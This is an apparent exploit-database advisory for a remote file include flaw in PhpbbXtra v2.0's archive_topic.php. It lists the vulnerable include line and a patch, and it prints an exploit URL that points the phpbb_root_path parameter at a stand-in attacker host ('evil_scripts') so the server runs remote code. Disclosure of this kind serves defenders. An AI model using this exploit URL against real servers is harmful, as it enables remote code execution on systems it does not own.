PhpbbXtra v2.0 (phpbb_root_path) Remote File Include Vulnerability

vendor:

phpbbxtra

by:

xoron

7,5

CVSS

HIGH

Remote File Include

CWE

Product Name: phpbbxtra

Affected Version From: 2.0

Affected Version To: 2.0

Patch Exists: Yes

Related CWE: N/A

CPE: a:phpbbxtra:phpbbxtra:2.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

PhpbbXtra v2.0 (phpbb_root_path) Remote File Include Vulnerability

A vulnerability exists in PhpbbXtra v2.0, which allows a remote attacker to include a file from a remote location. The vulnerability is due to the 'includes/archive/archive_topic.php' script not properly sanitizing user-supplied input to the 'phpbb_root_path' parameter. An attacker can exploit this vulnerability to include arbitrary files from remote locations, resulting in arbitrary code execution on the vulnerable system.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to upgrade to the latest version of the software.

Source

Exploit-DB raw data:

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PhpbbXtra v2.0 (phpbb_root_path) Remote File Include Vulnerability

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Author: xoron

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Vuln Code: include($phpbb_root_path . 'includes/bbcode.'.$phpEx);

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F!X:

-open /includes/archive/archive_topic.php this file

-write this code before vuln. code


if ( !defined('IN_PHPBB') )
{
    die('Hacking attempt');
}


- save and exit

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exploit:

http://www.[target].com/[script_path]/includes/archive/archive_topic.php?phpbb_root_path=http://evil_scripts ?

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download:http://sourceforge.net/project/showfiles.php?group_id=152219

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